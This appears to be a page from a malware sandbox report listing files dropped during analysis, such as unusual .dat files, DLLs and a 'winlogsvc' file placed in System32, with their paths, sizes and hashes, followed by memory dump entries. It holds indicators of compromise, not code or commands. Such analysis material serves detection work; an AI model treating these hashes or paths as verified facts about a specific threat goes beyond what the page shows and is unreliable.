SHA512 fd7e6f50a21cb59075dfa08c5e6275fd20723b01a23c3e24fb369f2d95a379b5ac6ae9f509aa42861d9c5114be47cce9ff886f0a03758bfdc3a2a9c4d75fab56
SSDEEP 768:fE20UsQSmxsJ/jPxsiFFnoCImovqcyz88rtYNChvThLaim3Yu/g/D8:cis0sP5FBQ7vU9BYshtaim3Yuo78
MD5 SHA1 SHA512 SSDEEP

Submit Download

usvcldr64.dat

Path C:\Windows\System32\usvcldr64.dat
Size 13.9MB
SHA256 c1dd59b7f390eb33530adb1aaef3162efcd1f454f307b18369b9cf76dc29c5a1
MD5 326bdadeee6e2e55a0a0edda21f4c211
SHA1 5f362f93850896b3b2beff4879b64cfbc19db77a
SHA512 c5fcbe424fc1d239342f2dbe56011fa7c08ba3cdc47bc8b72c9ad9c24787b748955090f04044bc5b1d2b84f11674c2944391d6a58124502d53d33edd9a035bc6
SSDEEP 393216:/PsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCE0TQP76NuudqLZXSdEVB3:/ITkNvZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

zlib1.dll

Path C:\Windows\System32\zlib1.dll
Size 88KB
SHA256 7e9f43688189578042d791e3e5301165316edc7c1ed739e0669c033a3ca08037
MD5 f53d1efea4855da42da07de49d80ba68
SHA1 920349f4bd5a5b8e77195c81e261dfa2177eb1ee
SHA512 5d72f64b8e5c42a3c9a7bcbbe8a1598a85402ade4f312ab9e26869f8b39952a3aa037f2cf7da89e686c5bc3fcb221feeae077b9ffd2eef98dac0e307637fe7bd
SSDEEP 1536:Wc9wKxbEwda1CzUbFfbpVxyRyxpGTlKAbe6IOcIOZyyFz5o9X2153:7uKxbEwUEAhbprCOGTKISZyuVo9GT
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9f2aa52b3868d4048e488e243569742aab05df5495fa2f65a8722de9db2a6120
MD5 8fa796b296ca5a417fc14a329bc3f674
SHA1 034dff017ef4efeee9882440253d3fd4ba14f301
SHA512 ce2960b9b01c1e9c7a5f32e5981b142cdd37cb9a9ff8fb6d2375663064896dccab24fe2eb9b62e472faa98412555a5898a5b5a3ec76d7d998c812424c2672904
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e18a2dd0c0b4d2deb02c4dc55a64e8fc0d2d6517baee8a745068a300875ea7a4
MD5 5fb64e95a353ba0bbd986534baf7e59f
SHA1 d8c3569d7e3ae5ac5f849537131168c35b72e922
SHA512 eddd8ea92fe20edb7d6a836ba45627ba58b132391c73f83f34f2f1d2b33df2fe70ca1286957fd88028c6be55662845d0132b9fd02898f19b89cd80ca0268d68d
MD5 SHA1 SHA512

Submit Download

LIBPQ.dll

Path \??\c:\windows\system32\LIBPQ.dll
Size 319KB
SHA256 e6aced8d30471f35b37abbf172ce357b6a8f18af5feb342b6cffc01d3378f2b4
MD5 ef060e5c414b7be5875437ff2fb8ec54
SHA1 6dcf04dff9b25be556ec97660f95acf708c0c870
SHA512 67bff321ba901a0b0dc0f6c4a723d7df35418f593e16e6193673cce5190d76355409f676c1ea5d0cb46493f5735209089a3a52d3d716eb8187bf6e846792e2e8
SSDEEP 6144:veJ/i9L1mle2NwGTQ46ZEEKN4zP2/SHzI4l/4OMx7apSPIYuh0L/iXmJ:gmV2NwQQ3G4zP22rOIy
MD5 SHA1 SHA512 SSDEEP

Submit Download

libiconv-2.dll

Path \??\c:\windows\system32\libiconv-2.dll
Size 1.8MB
SHA256 cf131738f4b5fe3f42e9108e24595fc3e6573347d78e4e69ec42106c1eebe42c
MD5 158bc77453d382cf6679ce35df740cc5
SHA1 9a3c123ce4b6f6592ed50d6614387d059bfb842f
SHA512 6eb1455537cb4e62e9432032372fae9ce824a48346e00baf38ef2f840e0ed3f55acaee2656da656db00ae0bdef808f8da291dd10d7453815152eda0ccfc73147
SSDEEP 24576:SAlxpPnBAUZLY9OVbbTiZGavkg3NyeuQ6l9fH+f2ykqZrkgecviRd7mQFz:DPnBAUZLY9OEZGaXBuQQ9e2YYUQFz
MD5 SHA1 SHA512 SSDEEP

Submit Download

libintl-9.dll

Path \??\c:\windows\system32\libintl-9.dll
Size 464KB
SHA256 1125ac8dc0c4f5c3ed4712e0d8ad29474099fcb55bb0e563a352ce9d03ef1d78
MD5 e79e7c9d547ddbee5c8c1796bd092326
SHA1 8e50b296f4630f6173fc77d07eea36433e62178a
SHA512 dba65731b7ada0ac90b4122c7b633cd8d9a54b92b2241170c6f09828554a0bc1b0f3edf6289b6141d3441ab11af90d6f8210a73f01964276d050e57fb94248e2
SSDEEP 12288:YoSRYqB/kDraXbQTNRC6RsclS8DzT6Bam:+YY/kDraLQTNRCPWDzT6Bam
MD5 SHA1 SHA512 SSDEEP

Submit Download

winlogsvc

Path \??\c:\windows\system32\winsvcf\winlogsvc
Size 384B
SHA256 8402073e8ffdd0d50925ac59bf75be5507d7b1ffe26ce09b7bd2a214a012eb08
MD5 5bc04c826fe2adf1e3647871acdf6101
SHA1 b199e909684f84284f8345dbca89b8dd2423b55d
SHA512 b68aeb1d6c757e85d85fc1585b8cd89b038df5dd6ebcfd5e42ada391dcbc92de620d13c1382aaea642dfc40e89495b2daa3ed21532da284d3e0430ae11b25ecd
MD5 SHA1 SHA512

Submit Download

x123643.dat

Path \??\c:\windows\system32\x123643.dat
Size 2.2MB
SHA256 1586fda9e1d826439f05e6f68d1e2cf478d71bee1ef86db4f3ae01c55b4a6fd5
MD5 67ca9d6453a2991059f06c83e8cc72c5
SHA1 25a3e191cd8c5befc87a46576bff21b3cb7c1f27
SHA512 a9931de911506d4462e2c48682be679f62266fde61fbfd8395ce2477a1c6c5e3c050c8672d6c07317948331fda9ea2e4c68a854cdccb0927bc181e828599e465
SSDEEP 24576:IsVRewXhjIEfX8qp4lJEdCW1Rt+lvSh0lhSMXldobsewf6oV9h0lhSMXln98Gzsd:XVReKh7AEdCW1uPfewfv0GlUDYwT
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1412-80-0x0000000066000000-0x00000000661BD000-memory.dmp

Download

memory/1412-78-0x0000000068280000-0x00000000682F0000-memory.dmp

Download

memory/1412-194-0x0000000068280000-0x00000000682F0000-memory.dmp

Download

memory/1412-79-0x0000000064940000-0x0000000064955000-memory.dmp

Download

memory/2064-146-0x00000214EA370000-0x00000214EA425000-memory.dmp

Download

memory/4148-19-0x0000016971110000-0x0000016971132000-memory.dmp

Download

memory/4808-118-0x000001B63D2E0000-0x000001B63D2FC000-memory.dmp

Download

memory/4808-120-0x000001B63D320000-0x000001B63D33A000-memory.dmp

Download

memory/4808-121-0x000001B63D2D0000-0x000001B63D2D8000-memory.dmp

Download

memory/4808-122-0x000001B63D300000-0x000001B63D306000-memory.dmp

Download

memory/4808-123-0x000001B63D310000-0x000001B63D31A000-memory.dmp

Download

memory/4808-119-0x000001B63D2C0000-0x000001B63D2CA000-memory.dmp

Download

memory/4808-22-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

Download

memory/4808-117-0x000001B63D090000-0x000001B63D09A000-memory.dmp

Download

memory/4808-116-0x000001B63D0C0000-0x000001B63D175000-memory.dmp

Download

memory/4808-8-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

Download

memory/4808-72-0x00007FFC83D70000-0x00007FFC8995C000-memory.dmp

Download

memory/4808-115-0x000001B63D0A0000-0x000001B63D0BC000-memory.dmp

Download

memory/5020-167-0x000002BCF8DE0000-0x000002BCF8E95000-memory.dmp

Download